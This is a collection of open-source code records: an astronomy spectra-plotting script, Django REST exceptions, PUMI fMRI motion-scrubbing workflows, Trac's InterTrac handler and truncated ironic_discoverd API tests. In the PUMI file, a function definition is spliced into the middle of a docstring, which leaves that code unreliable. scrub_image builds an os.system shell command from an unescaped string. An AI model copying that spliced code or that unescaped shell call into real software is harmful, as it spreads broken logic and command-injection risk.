parser.parse_args()\n\n if args.onefig: # plot all spectra in the same figure\n plot_multi_spectra(\n args.starlist,\n args.path,\n mlam4=args.mlam4,\n HI_lines=args.HI_lines,\n range=args.range,\n norm_range=args.norm_range,\n spread=args.spread,\n exclude=args.exclude,\n log=args.log,\n wavenum=args.wavenum,\n deredden=args.deredden,\n pdf=args.pdf,\n )\n else: # plot all spectra separately\n if args.spread:\n parser.error(\n \"The flag --spread can only be used in combination with the flag --onefig. It only makes sense to spread out the spectra if there is more than one spectrum in the same plot.\"\n )\n for star in args.starlist:\n plot_spectrum(\n star,\n args.path,\n mlam4=args.mlam4,\n HI_lines=args.HI_lines,\n range=args.range,\n norm_range=args.norm_range,\n exclude=args.exclude,\n log=args.log,\n wavenum=args.wavenum,\n deredden=args.deredden,\n pdf=args.pdf,\n )\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "mdcleir/measure_extinction", "license": "BSD-3-Clause"} {"text": "# -*- encoding: utf-8 -*-\nfrom rest_framework.exceptions import APIException\n\nclass EmptyMedication(APIException):\n status_code = 400\n default_detail = 'No se puede enviar medicamentos sin nombre o que no pertenezca a un cuadro b\u00e1sico'\n default_code = 'Medications does not allow empty data'\n\n\nclass FailedVerifiedSignature(APIException):\n status_code = 400\n default_detail = 'Fallo el chequeo de la firma, checa tu payload lo creaste bien o si no se enviaron tus datos corruptamente'\n default_code = 'Failed verified Signature'\n\n\nclass NonValidPubKey(APIException):\n status_code = 400\n default_detail = 'Wrong Public Key'\n default_code = 'wrong_public_key'\n", "source": "Prescrypto/rxchain", "license": "Apache-2.0"} {"text": "def datacens_workflow_percent(SinkTag=\"func_preproc\", wf_name=\"data_censoring\"):\n\n \"\"\"\n\n Modified version of CPAC.scrubbing.scrubbing +\n CPAC.generate_motion_statistics.generate_motion_statistics +\n CPAC.func_preproc.func_preproc\n\n `source: https://fcp-indi.github.io/docs/developer/_modules/CPAC/scrubbing/scrubbing.html`\n `source: https://fcp-indi.github.io/docs/developer/_modules/CPAC/generate_motion_statistics/generate_motion_statistics.html`\n `source: https://fcp-indi.github.io/docs/developer/_modules/CPAC/func_preproc/func_preproc.html`\n\n Description:\n Do the data censoring on the 4D functional data. First, it calculates the framewise displacement according to Power's method. Second, it\n indexes the volumes which FD is in the upper part in percent(determined by the threshold variable which is 5% by default). Thirdly, it excludes those volumes and one volume\n before and 2 volumes after the indexed volume. The workflow returns a 4D scrubbed functional data.\n\n Workflow inputs:\n :param func: The reoriented,motion occrected, nuissance removed and bandpass filtered functional file.\n :param FD: the frame wise displacement calculated by the MotionCorrecter.py script\n :param threshold: threshold of FD volumes which should be excluded\n :param SinkDir:\n :param SinkTag: The output directory in which the returned images (see workflow outputs) could be found in a subdirectory directory specific for this workflow..\n\n Workflow outputs:\n\n :return: datacens_workflow - workflow\n\n\n\n\n Balint Kincses\n kincses.balint@med.u-szeged.hu\n 2018\n\n\n References\n ----------\n\n .. [1] Power, J. D., Barnes, K. A., Snyder, A. Z., Schlaggar, B. L., & Petersen, S. E. (2012). Spurious\n but systematic correlations in functional connectivity MRI networks arise from subject motion. NeuroImage, 59(3),\n 2142-2154. doi:10.1016/j.neuroimage.2011.10.018\n\n .. [2] Power, J. D., Barnes, K. A., Snyder, A. Z., Schlaggar, B. L., & Petersen, S. E. (2012). Steps\n toward optimizing motion artifact removal in functional connectivity MRI; a reply to Carp.\n NeuroImage. doi:10.1016/j.neuroimage.2012.03.017\n\n .. [3] Jenkinson, M., Bannister, P., Brady, M., Smith, S., 2002. Improved optimization for the robust\n and accurate linear registration and motion correction of brain images. Neuroimage 17, 825-841.\n\n \"\"\"\n\n\n import os\n import nipype\n import nipype.pipeline as pe\n import nipype.interfaces.utility as utility\n import nipype.interfaces.io as io\n import PUMI.utils.globals as globals\n import PUMI.utils.QC as qc\n\n SinkDir = os.path.abspath(globals._SinkDir_ + \"/\" + SinkTag)\n if not os.path.exists(SinkDir):\n os.makedirs(SinkDir)\n\n # Identitiy mapping for input variables\n inputspec = pe.Node(utility.IdentityInterface(fields=['func',\n 'FD',\n 'threshold']),\n name='inputspec')\n inputspec.inputs.threshold = 5\n\n #TODO_ready check CPAC.generate_motion_statistics.generate_motion_statistics script. It may use the FD of Jenkinson to index volumes which violate the upper threhold limit, no matter what we set.\n # - we use the power method to calculate FD\n # Determine the indices of the upper part (which is defined by the threshold, deafult 5%) of values based on their FD values\n calc_upprperc = pe.MapNode(utility.Function(input_names=['in_file',\n 'threshold'],\n output_names=['frames_in_idx', 'frames_out_idx', 'percentFD', 'out_file', 'nvol'],\n function=calculate_upperpercent),\n iterfield=['in_file'],\n name='calculate_upperpercent')\n\n # Generate the weird input for the scrubbing procedure which is done in afni\n craft_scrub_input = pe.MapNode(utility.Function(input_names=['scrub_input', 'frames_in_1D_file'],\n output_names=['scrub_input_string'],\n function=get_indx),\n iterfield=['scrub_input', 'frames_in_1D_file'],\n name='scrubbing_craft_input_string')\n # Scrub the image\n scrubbed_preprocessed = pe.MapNode(utility.Function(input_names=['scrub_input'],\n output_names=['scrubbed_image'],\n function=scrub_image),\n iterfield=['scrub_input'],\n name='scrubbed_preprocessed')\n\n myqc = qc.timecourse2png(\"timeseries\", tag=\"040_censored\")\n\n outputspec = pe.Node(utility.IdentityInterface(fields=['scrubbed_image', 'FD']),\n name='outputspec')\n\n # save data out with Datasink\n ds=pe.Node(interface=io.DataSink(),name='ds')\n ds.inputs.base_directory=SinkDir\n\n\n #TODO_ready: some plot for qualitiy checking\n\n # Create workflow\n analysisflow = pe.Workflow(wf_name)\n ###Calculating mean Framewise Displacement (FD) as Power et al., 2012\n # Calculating frames to exclude and include after scrubbing\n analysisflow.connect(inputspec, 'FD', calc_upprperc, 'in_file')\n analysisflow.connect(inputspec, 'threshold', calc_upprperc, 'threshold')\n # Create the proper format for the scrubbing procedure\n analysisflow.connect(calc_upprperc, 'frames_in_idx', craft_scrub_input, 'frames_in_1D_file')\n analysisflow.connect(calc_upprperc, 'out_file', ds, 'percentFD') # TODO save this in separet folder for QC\n analysisflow.connect(inputspec, 'func', craft_scrub_input, 'scrub_input')\n # Do the scubbing\n analysisflow.connect(craft_scrub_input, 'scrub_input_string', scrubbed_preprocessed, 'scrub_input')\n # Output\n analysisflow.connect(scrubbed_preprocessed, 'scrubbed_image', outputspec, 'scrubbed_image')\n analysisflow.connect(inputspec, 'FD', outputspec, 'FD') #TODO: scrub FD file, as well\n # Save a few files\n #analysisflow.connect(scrubbed_preprocessed, 'scrubbed_image', ds, 'scrubbed_image')\n #analysisflow.connect(calc_upprperc, 'percentFD', ds, 'scrubbed_image.@numberofvols')\n analysisflow.connect(scrubbed_preprocessed, 'scrubbed_image', myqc, 'inputspec.func')\n\n\n return analysisflow\n\ndef datacens_workflow_threshold(SinkTag=\"func_preproc\", wf_name=\"data_censoring\", ex_before=1, ex_after=2):\n\n \"\"\"\n\n Modified version of CPAC.scrubbing.scrubbing +\n CPAC.generate_motion_statistics.generate_motion_statistics +\n CPAC.func_preproc.func_preproc\n\n `source: https://fcp-indi.github.io/docs/developer/_modules/CPAC/scrubbing/scrubbing.html`\n `source: https://fcp-indi.github.io/docs/developer/_modules/CPAC/generate_motion_statistics/generate_motion_statistics.html`\n `source: https://fcp-indi.github.io/docs/developer/_modules/CPAC/func_preproc/func_preproc.html`\n\n Description:\n Do the data censoring on the 4D functional data. First, it calculates the framewise displacement according to Power's method. Second, it\n indexes the volumes which FD is in the upper part in percent(determined by the threshold variable which is 5% by default). Thirdly, it excludes those volumes and one volume\n before and 2 volumes after the indexed volume. The workflow returns a 4D scrubbed functional data.\n\n Workflow inputs:\n :param func: The reoriented,motion occrected, nuissance removed and bandpass filtered functional file.\n :param FD: the frame wise displacement calculated by the MotionCorrecter.py script\n :param threshold: threshold of FD volumes which should be excluded\n :param SinkDir:\n :param SinkTag: The output directory in which the returned images (see workflow outputs) could be found in a subdirectory directory specific for this workflow..\n\n Workflow outputs:\n\n :return: datacens_workflow - workflow\n\n\n\n\n Balint Kincses\n kincses.balint@med.u-szeged.hu\n 2018\n\n\n References\n ----------\n\n .. [1] Power, J. D., Barnes, K. A., Snyder, A. Z., Schlaggar, B. L., & Petersen, S. E. (2012). Spurious\n but systematic correlations in functional connectivity MRI networks arise from subject motion. NeuroImage, 59(3),\n 2142-2154. doi:10.1016/j.neuroimage.2011.10.018\n\n .. [2] Power, J. D., Barnes, K. A., Snyder, A. Z., Schlaggar, B. L., & Petersen, S. E. (2012). Steps\n toward optimizing motion artifact removal in functional connectivity MRI; a reply to Carp.\n NeuroImage. doi:10.1016/j.neuroimage.2012.03.017\n\n .. [3] Jenkinson, M., Bannister, P., Brady, M., Smith, S., 2002. Improved optimization for the robust\n and accurate linear registration and motion correction of brain images. Neuroimage 17, 825-841.\n\n \"\"\"\n\n\n import os\n import nipype\n import nipype.pipeline as pe\n import nipype.interfaces.utility as utility\n import nipype.interfaces.io as io\n import PUMI.utils.utils_convert as utils_convert\n import PUMI.utils.globals as globals\n import PUMI.utils.QC as qc\n\n SinkDir = os.path.abspath(globals._SinkDir_ + \"/\" + SinkTag)\n if not os.path.exists(SinkDir):\n os.makedirs(SinkDir)\n\n # Identitiy mapping for input variables\n inputspec = pe.Node(utility.IdentityInterface(fields=['func',\n 'FD',\n 'threshold']),\n name='inputspec')\n inputspec.inputs.threshold = 0.2 #mm\n\n #TODO_ready check CPAC.generate_motion_statistics.generate_motion_statistics script. It may use the FD of Jenkinson to index volumes which violate the upper threhold limit, no matter what we set.\n # - we use the power method to calculate FD\n above_thr = pe.MapNode(utility.Function(input_names=['in_file',\n 'threshold',\n 'frames_before',\n 'frames_after'],\n output_names=['frames_in_idx', 'frames_out_idx', 'percentFD', 'percent_scrubbed_file', 'fd_scrubbed_file', 'nvol'],\n function=above_threshold),\n iterfield=['in_file'],\n name='above_threshold')\n above_thr.inputs.frames_before = ex_before\n above_thr.inputs.frames_after = ex_after\n\n # Save outputs which are important\n ds_fd_scrub = pe.Node(interface=io.DataSink(),\n name='ds_fd_scrub')\n ds_fd_scrub.inputs.base_directory = SinkDir\n ds_fd_scrub.inputs.regexp_substitutions = [(\"(\\/)[^\\/]*$\", \"FD_scrubbed.csv\")]\n pop_perc_scrub = pe.Node(interface=utils_convert.List2TxtFileOpen,\n name='pop_perc_scrub')\n\n # save data out with Datasink\n ds_pop_perc_scrub = pe.Node(interface=io.DataSink(), name='ds_pop_perc_scrub')\n ds_pop_perc_scrub.inputs.regexp_substitutions = [(\"(\\/)[^\\/]*$\", \"pop_percent_scrubbed.txt\")]\n ds_pop_perc_scrub.inputs.base_directory = SinkDir\n\n # Generate the weird input for the scrubbing procedure which is done in afni\n craft_scrub_input = pe.MapNode(utility.Function(input_names=['scrub_input', 'frames_in_1D_file'],\n output_names=['scrub_input_string'],\n function=get_indx),\n iterfield=['scrub_input', 'frames_in_1D_file'],\n name='scrubbing_craft_input_string')\n # Scrub the image\n scrubbed_preprocessed = pe.MapNode(utility.Function(input_names=['scrub_input'],\n output_names=['scrubbed_image'],\n function=scrub_image),\n iterfield=['scrub_input'],\n name='scrubbed_preprocessed')\n\n myqc = qc.timecourse2png(\"timeseries\", tag=\"040_censored\")\n\n outputspec = pe.Node(utility.IdentityInterface(fields=['scrubbed_image', 'FD_scrubbed']),\n name='outputspec')\n\n # save data out with Datasink\n ds=pe.Node(interface=io.DataSink(),name='ds')\n ds.inputs.base_directory=SinkDir\n\n\n #TODO_ready: some plot for qualitiy checking\n\n # Create workflow\n analysisflow = pe.Workflow(wf_name)\n ###Calculating mean Framewise Displacement (FD) as Power et al., 2012\n # Calculating frames to exclude and include after scrubbing\n analysisflow.connect(inputspec, 'FD', above_thr, 'in_file')\n analysisflow.connect(inputspec, 'threshold', above_thr, 'threshold')\n # Create the proper format for the scrubbing procedure\n analysisflow.connect(above_thr, 'frames_in_idx', craft_scrub_input, 'frames_in_1D_file')\n analysisflow.connect(above_thr, 'percent_scrubbed_file', ds, 'percentFD') # TODO save this in separate folder for QC\n analysisflow.connect(inputspec, 'func', craft_scrub_input, 'scrub_input')\n # Do the scubbing\n analysisflow.connect(craft_scrub_input, 'scrub_input_string', scrubbed_preprocessed, 'scrub_input')\n # Output\n analysisflow.connect(scrubbed_preprocessed, 'scrubbed_image', outputspec, 'scrubbed_image')\n analysisflow.connect(above_thr, 'fd_scrubbed_file', outputspec, 'FD_scrubbed') #TODO_ready: scrub FD file, as well\n analysisflow.connect(above_thr, 'fd_scrubbed_file', ds_fd_scrub, 'FD_scrubbed')\n\n analysisflow.connect(above_thr, 'percent_scrubbed_file', pop_perc_scrub, 'in_list')\n analysisflow.connect(pop_perc_scrub, 'txt_file', ds_pop_perc_scrub, 'pop')\n\n # Save a few files\n analysisflow.connect(scrubbed_preprocessed, 'scrubbed_image', ds, 'scrubbed_image')\n #analysisflow.connect(above_thr, 'percentFD', ds, 'scrubbed_image.@numberofvols')\n analysisflow.connect(scrubbed_preprocessed, 'scrubbed_image', myqc, 'inputspec.func')\n\n\n return analysisflow\n\n\ndef spikereg_workflow(SinkTag=\"func_preproc\", wf_name=\"data_censoring_despike\"):\n\n \"\"\"\n\n Description:\n Calculates volumes to be excluded, creates the despike regressor matrix\n\n Workflow inputs:\n :param FD: the frame wise displacement calculated by the MotionCorrecter.py script\n :param threshold: threshold of FD volumes which should be excluded\n :param SinkDir:\n :param SinkTag: The output directory in which the returned images (see workflow outputs) could be found in a subdirectory directory specific for this workflow..\n\n Workflow outputs:\n\n :return: spikereg_workflow - workflow\n\n Tamas Spisak\n tamas.spisak@uk-essen.de\n 2018\n\n\n References\n ----------\n\n .. [1] Power, J. D., Barnes, K. A., Snyder, A. Z., Schlaggar, B. L., & Petersen, S. E. (2012). Spurious\n but systematic correlations in functional connectivity MRI networks arise from subject motion. NeuroImage, 59(3),\n 2142-2154. doi:10.1016/j.neuroimage.2011.10.018\n\n .. [2] Power, J. D., Barnes, K. A., Snyder, A. Z., Schlaggar, B. L., & Petersen, S. E. (2012). Steps\n toward optimizing motion artifact removal in functional connectivity MRI; a reply to Carp.\n NeuroImage. doi:10.1016/j.neuroimage.2012.03.017\n\n .. [3] Jenkinson, M., Bannister, P., Brady, M., Smith, S., 2002. Improved optimization for the robust\n and accuratedef datacens_workflow(SinkTag=\"func_preproc\", wf_name=\"data_censoring\"):\n\n \"\"\"\n import os\n import nipype\n import nipype.pipeline as pe\n import nipype.interfaces.utility as utility\n import nipype.interfaces.io as io\n import PUMI.utils.globals as globals\n import PUMI.utils.QC as qc\n\n SinkDir = os.path.abspath(globals._SinkDir_ + \"/\" + SinkTag)\n if not os.path.exists(SinkDir):\n os.makedirs(SinkDir)\n\n # Identitiy mapping for input variables\n inputspec = pe.Node(utility.IdentityInterface(fields=['func',\n 'FD',\n 'threshold',]),\n name='inputspec')\n inputspec.inputs.threshold = 5\n\n #TODO_ready check CPAC.generate_motion_statistics.generate_motion_statistics script. It may use the FD of Jenkinson to index volumes which violate the upper threhold limit, no matter what we set.\n # - we use the power method to calculate FD\n # Determine the indices of the upper part (which is defined by the threshold, deafult 5%) of values based on their FD values\n calc_upprperc = pe.MapNode(utility.Function(input_names=['in_file',\n 'threshold'],\n output_names=['frames_in_idx', 'frames_out_idx', 'percentFD', 'out_file', 'nvol'],\n function=calculate_upperpercent),\n iterfield=['in_file'],\n name='calculate_upperpercent')\n\n #create despiking matrix, to be included into nuisance correction\n despike_matrix = pe.MapNode(utility.Function(input_names=['frames_excluded', 'total_vols'],\n output_names=['despike_mat'],\n function=create_despike_regressor_matrix),\n iterfield=['frames_excluded', 'total_vols'],\n name='create_despike_matrix')\n\n outputspec = pe.Node(utility.IdentityInterface(fields=['despike_mat', 'FD']),\n name='outputspec')\n\n # save data out with Datasink\n ds=pe.Node(interface=io.DataSink(),name='ds')\n ds.inputs.base_directory=SinkDir\n\n\n #TODO_ready: some plot for qualitiy checking\n\n # Create workflow\n analysisflow = pe.Workflow(wf_name)\n ###Calculating mean Framewise Displacement (FD) as Power et al., 2012\n # Calculating frames to exclude and include after scrubbing\n analysisflow.connect(inputspec, 'FD', calc_upprperc, 'in_file')\n analysisflow.connect(inputspec, 'threshold', calc_upprperc, 'threshold')\n # Create the proper format for the scrubbing procedure\n analysisflow.connect(calc_upprperc, 'frames_out_idx', despike_matrix, 'frames_excluded')\n analysisflow.connect(calc_upprperc, 'nvol', despike_matrix, 'total_vols')\n analysisflow.connect(calc_upprperc, 'out_file', ds, 'percentFD') # TODO save this in separet folder for QC\n # Output\n analysisflow.connect(despike_matrix, 'despike_mat', outputspec, 'despike_mat')\n analysisflow.connect(inputspec, 'FD', outputspec, 'FD')\n return analysisflow\n\ndef above_threshold(in_file, threshold=0.2, frames_before=1, frames_after=2):\n import os\n import numpy as np\n from numpy import loadtxt, savetxt\n powersFD_data = loadtxt(in_file, skiprows=1)\n np.insert(powersFD_data, 0, 0) # TODO_ready: why do we need this: see output of nipype.algorithms.confounds.FramewiseDisplacement\n frames_in_idx = np.argwhere(powersFD_data < threshold)[:, 0]\n frames_out = np.argwhere(powersFD_data >= threshold)[:, 0]\n\n extra_indices = []\n for i in frames_out:\n\n # remove preceding frames\n if i > 0:\n count = 1\n while count <= frames_before:\n extra_indices.append(i - count)\n count += 1\n\n # remove following frames\n count = 1\n while count <= frames_after:\n if i+count < len(powersFD_data): # do not censor unexistent data\n extra_indices.append(i + count)\n count += 1\n indices_out = list(set(frames_out) | set(extra_indices))\n indices_out.sort()\n\n frames_out_idx = indices_out\n frames_in_idx = np.setdiff1d(frames_in_idx, indices_out)\n\n FD_scrubbed = powersFD_data[frames_in_idx]\n fd_scrubbed_file = os.path.join(os.getcwd(), 'FD_scrubbed.csv')\n savetxt(fd_scrubbed_file, FD_scrubbed, delimiter=\",\")\n\n frames_in_idx_str = ','.join(str(x) for x in frames_in_idx)\n frames_in_idx = frames_in_idx_str.split()\n\n percentFD = (len(frames_out_idx) * 100 / (len(powersFD_data) + 1)) # % of frames censored\n percent_scrubbed_file = os.path.join(os.getcwd(), 'percent_scrubbed.txt')\n f = open(percent_scrubbed_file, 'w')\n f.write(\"%.3f\" % (percentFD))\n f.close()\n\n nvol = len(powersFD_data)\n\n return frames_in_idx, frames_out_idx, percentFD, percent_scrubbed_file, fd_scrubbed_file, nvol\n\n\n\ndef calculate_upperpercent(in_file,threshold, frames_before=1, frames_after=2):\n import os\n import numpy as np\n from numpy import loadtxt\n # Receives the FD file to calculate the upper percent of violating volumes\n powersFD_data = loadtxt(in_file, skiprows=1)\n np.insert(powersFD_data, 0, 0) # TODO_ready: why do we need this: see output of nipype.algorithms.confounds.FramewiseDisplacement\n sortedpwrsFDdata = sorted(powersFD_data)\n limitvalueindex = int(len(sortedpwrsFDdata) * threshold / 100)\n limitvalue = sortedpwrsFDdata[len(sortedpwrsFDdata) - limitvalueindex]\n frames_in_idx = np.argwhere(powersFD_data < limitvalue)[:,0]\n frames_out = np.argwhere(powersFD_data >= limitvalue)[:, 0]\n extra_indices = []\n for i in frames_out:\n\n # remove preceding frames\n if i > 0:\n count = 1\n while count <= frames_before:\n extra_indices.append(i - count)\n count += 1\n\n # remove following frames\n count = 1\n while count <= frames_after:\n if i+count < len(powersFD_data): # do not censor unexistent data\n extra_indices.append(i + count)\n count += 1\n\n indices_out = list(set(frames_out) | set(extra_indices))\n indices_out.sort()\n frames_out_idx=indices_out\n frames_in_idx=np.setdiff1d(frames_in_idx, indices_out)\n frames_in_idx_str = ','.join(str(x) for x in frames_in_idx)\n frames_in_idx = frames_in_idx_str.split()\n\n\n percentFD =100- (len(frames_out_idx) * 100 / (len(powersFD_data) + 1))\n\n out_file = os.path.join(os.getcwd(), 'numberofcensoredvolumes.txt')\n f = open(out_file, 'w')\n f.write(\"%.3f,\" % (percentFD))\n f.close()\n\n nvol=len(powersFD_data)\n\n return frames_in_idx, frames_out_idx, percentFD, out_file, nvol\n\ndef get_indx(scrub_input, frames_in_1D_file):\n \"\"\"\n Method to get the list of time\n frames that are to be included\n\n Parameters\n ----------\n in_file : string\n path to file containing the valid time frames\n\n Returns\n -------\n scrub_input_string : string\n input string for 3dCalc in scrubbing workflow,\n looks something like \" 4dfile.nii.gz[0,1,2,..100] \"\n\n \"\"\"\n\n #f = open(frames_in_1D_file, 'r')\n #line = f.readline()\n #line = line.strip(',')\n frames_in_idx_str = '[' + ','.join(str(x) for x in frames_in_1D_file) + ']'\n #if line:\n # indx = map(int, line.split(\",\"))\n #else:\n # raise Exception(\"No time points remaining after scrubbing.\")\n #f.close()\n\n #scrub_input_string = scrub_input + str(indx).replace(\" \", \"\")\n scrub_input_string = scrub_input + frames_in_idx_str\n return scrub_input_string\n\ndef scrub_image(scrub_input):\n \"\"\"\n Method to run 3dcalc in order to scrub the image. This is used instead of\n the Nipype interface for 3dcalc because functionality is needed for\n specifying an input file with specifically-selected volumes. For example:\n input.nii.gz[2,3,4,..98], etc.\n\n Parameters\n ----------\n scrub_input : string\n path to 4D file to be scrubbed, plus with selected volumes to be\n included\n\n Returns\n -------\n scrubbed_image : string\n path to the scrubbed 4D file\n\n \"\"\"\n\n import os\n\n os.system(\"3dcalc -a %s -expr 'a' -prefix scrubbed_preprocessed.nii.gz\" % scrub_input)\n\n scrubbed_image = os.path.join(os.getcwd(), \"scrubbed_preprocessed.nii.gz\")\n\n return scrubbed_image\n\ndef create_despike_regressor_matrix(frames_excluded, total_vols):\n # adapted from C-PAC\n \"\"\"Create a Numpy array describing which volumes are to be regressed out\n during nuisance regression, for de-spiking.\n :param frames_excluded: 1D file of the volume indices to be excluded. This\n is a 1D text file of integers separated by commas.\n :param total_vols: integer value of the length of the time series (number\n of volumes).\n :return: tsv file consisting of a row for every volume, and a column\n for every volume being regressed out, with a 1 where they match.\n \"\"\"\n\n import numpy as np\n import os\n\n #with open(frames_excluded, 'r') as f:\n # excl_vols = f.readlines()\n\n excl_vols=frames_excluded\n\n if len(excl_vols) <= 0:\n return None\n\n reg_matrix = np.zeros((total_vols, len(excl_vols)), dtype=int)\n\n i = 0\n for vol in excl_vols:\n reg_matrix[vol][i] = 1\n i += 1\n\n np.savetxt(\"despike_matrix.csv\", reg_matrix)\n\n return os.path.join(os.getcwd(),\"despike_matrix.csv\")\n\n", "source": "spisakt/PUMI", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2005-2021 Edgewall Software\n# Copyright (C) 2005-2006 Christian Boos \n# All rights reserved.\n#\n# This software is licensed as described in the file COPYING, which\n# you should have received as part of this distribution. The terms\n# are also available at https://trac.edgewall.org/wiki/TracLicense.\n#\n# This software consists of voluntary contributions made by many\n# individuals. For the exact contribution history, see the revision\n# history and logs, available at https://trac.edgewall.org/log/.\n#\n# Author: Christian Boos \n\nimport re\n\nfrom trac.config import ConfigSection\nfrom trac.core import *\nfrom trac.util.html import Element, Fragment, find_element, tag\nfrom trac.util.translation import N_, _, tag_\nfrom trac.web.api import IRequestHandler\nfrom trac.wiki.api import IWikiMacroProvider\nfrom trac.wiki.formatter import extract_link\n\n\nclass InterTracDispatcher(Component):\n \"\"\"InterTrac dispatcher.\"\"\"\n\n implements(IRequestHandler, IWikiMacroProvider)\n\n is_valid_default_handler = False\n\n intertrac_section = ConfigSection('intertrac',\n \"\"\"This section configures InterTrac prefixes. Option names in\n this section that contain a `.` are of the format\n `.`. Option names that don't contain a `.` define\n an alias.\n\n The `.url` attribute is mandatory and is used for locating the\n other Trac. This can be a relative path when the other Trac\n environment is located on the same server.\n\n The `.title` attribute is used for generating a tooltip when the\n cursor is hovered over an InterTrac link.\n\n Example configuration:\n {{{#!ini\n [intertrac]\n # -- Example of setting up an alias:\n t = trac\n\n # -- Link to an external Trac:\n genshi.title = Edgewall's Trac for Genshi\n genshi.url = https://genshi.edgewall.org\n }}}\n \"\"\")\n\n # IRequestHandler methods\n\n def match_request(self, req):\n match = re.match(r'^/intertrac/(.*)', req.path_info)\n if match:\n if match.group(1):\n req.args['link'] = match.group(1)\n return True\n\n def process_request(self, req):\n link = req.args.get('link', '')\n parts = link.split(':', 1)\n if len(parts) > 1:\n resolver, target = parts\n if target[:1] + target[-1:] not in ('\"\"', \"''\"):\n link = '%s:\"%s\"' % (resolver, target)\n from trac.web.chrome import web_context\n link_frag = extract_link(self.env, web_context(req), link)\n if isinstance(link_frag, (Element, Fragment)):\n elt = find_element(link_frag, 'href')\n if elt is None:\n raise TracError(\n _(\"Can't view %(link)s. Resource doesn't exist or \"\n \"you don't have the required permission.\", link=link))\n href = elt.attrib.get('href').unescape()\n else:\n href = req.href(link.rstrip(':'))\n req.redirect(href)\n\n # IWikiMacroProvider methods\n\n def get_macros(self):\n yield 'InterTrac'\n\n def get_macro_description(self, name):\n return 'messages', N_(\"Provide a list of known InterTrac prefixes.\")\n\n def expand_macro(self, formatter, name, content):\n intertracs = {}\n for key, value in self.intertrac_section.options():\n idx = key.rfind('.')\n if idx > 0: # 0 itself doesn't help much: .xxx = ...\n prefix, attribute = key[:idx], key[idx+1:]\n intertrac = intertracs.setdefault(prefix, {})\n try:\n intertrac[attribute] = value\n except TypeError: # alias\n pass\n else:\n intertracs[key] = value # alias\n intertracs.setdefault('trac', {'title': _('The Trac Project'),\n 'url': 'https://trac.edgewall.org'})\n\n def generate_prefix(prefix):\n intertrac = intertracs[prefix]\n if isinstance(intertrac, str):\n yield tag.tr(tag.td(tag.strong(prefix)),\n tag.td(tag_(\"Alias for %(name)s\",\n name=tag.strong(intertrac))))\n else:\n url = intertrac.get('url')\n if url:\n title = intertrac.get('title', url)\n yield tag.tr(tag.td(tag.a(tag.strong(prefix),\n href=url + '/timeline')),\n tag.td(tag.a(title, href=url)))\n\n return tag.table(class_=\"wiki intertrac\")(\n tag.tr(tag.th(tag.em(_(\"Prefix\"))),\n tag.th(tag.em(_(\"Trac Site\")))),\n [generate_prefix(p) for p in sorted(intertracs)])\n", "source": "DanVerh/trac_az", "license": "BSD-3-Clause"} {"text": "# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport unittest\n\nimport eventlet\nimport mock\n\nfrom ironic_discoverd import conf\nfrom ironic_discoverd import introspect\nfrom ironic_discoverd import main\nfrom ironic_discoverd import node_cache\nfrom ironic_discoverd.plugins import base as plugins_base\nfrom ironic_discoverd.plugins import example as example_plugin\nfrom ironic_discoverd import process\nfrom ironic_discoverd.test import base as test_base\nfrom ironic_discoverd import utils\n\n\nclass TestApi(test_base.BaseTest):\n def setUp(self):\n super(TestApi, self).setUp()\n main.app.config['TESTING'] = True\n self.app = main.app.test_client()\n conf.CONF.set('discoverd', 'authenticate', 'false')\n\n @mock.patch.object(introspect, 'introspect', autospec=True)\n def test_introspect_no_authentication(self, introspect_mock):\n conf.CONF.set('discoverd', 'authenticate', 'false')\n res = self.app.post('/v1/introspection/uuid1')\n self.assertEqual(202, res.status_code)\n introspect_mock.assert_called_once_with(\"uuid1\",\n setup_ipmi_credentials=False)\n\n @mock.patch.object(introspect, 'introspect', autospec=True)\n def test_introspect_setup_ipmi_credentials(self, introspect_mock):\n conf.CONF.set('discoverd', 'authenticate', 'false')\n res = self.app.post('/v1/introspection/uuid1?setup_ipmi_credentials=1')\n self.assertEqual(202, res.status_code)\n introspect_mock.assert_called_once_with(\"uuid1\",\n setup_ipmi_credentials=True)\n\n @mock.patch.object(introspect, 'introspect', autospec=True)\n def test_intospect_failed(self, introspect_mock):\n introspect_mock.side_effect = utils.Error(\"boom\")\n res = self.app.post('/v1/introspection/uuid1')\n self.assertEqual(400, res.status_code)\n self.assertEqual(b\"boom\", res.data)\n introspect_mock.assert_called_once_with(\"uuid1\",\n setup_ipmi_credentials=False)\n\n @mock.patch.object(utils, 'check_auth', autospec=True)\n @mock.patch.object(introspect, 'introspect', autospec=True)\n def test_introspect_failed_authentication(self, introspect_mock,\n auth_mock):\n conf.CONF.set('discoverd', 'authenticate', 'true')\n auth_mock.side_effect = utils.Error('Boom', code=403)\n res = self.app.post('/v1/introspection/uuid',\n headers={'X-Auth-Token': 'token'})\n self.assertEqual(403, res.status_code)\n self.assertFalse(introspect_mock.called)\n\n @mock.patch.object(introspect, 'introspect', autospec=True)\n def test_discover(self, discover_mock):\n res = self.app.post('/v1/discover', data='[\"uuid1\"]')\n self.assertEqual(202, res.status_code)\n discover_mock.assert_called_once_with(\"uuid1\")\n\n @mock.patch.object(process, 'process', autospec=True)\n def test_continue(self, process_mock):\n conf.CONF.set('discoverd', 'authenticate', 'true') # should be ignored\n process_mock.return_value = [42]\n res = self.app.post('/v1/continue', data='\"JSON\"')\n self.assertEqual(200, res.status_code)\n process_mock.assert_called_once_with(\"JSON\")\n self.assertEqual(b'[42]', res.data)\n\n @mock.patch.object(process, 'process', autospec=True)\n def test_continue_failed(self, process_mock):\n process_mock.side_effect = utils.Error(\"boom\")\n res = self.app.post('/v1/continue', data='\"JSON\"')\n self.assertEqual(400, res.status_code)\n process_mock.assert_called_once_with(\"JSON\")\n self.assertEqual(b'boom', res.data)\n\n @mock.patch.object(node_cache, 'get_node', autospec=True)\n def test_get_introspection_in_progress(self, get_mock):\n get_mock.return_value = node_cache.NodeInfo(uuid='uuid',\n started_at=42.0)\n res = self.app.get('/v1/introspection/uuid')\n self.assertEqual(200, res.status_code)\n self.assertEqual({'finished': False, 'error': None},\n json.loads(res.data.decode('utf-8')))\n\n @mock.patch.object(node_cache, 'get_node', autospec=True)\n def 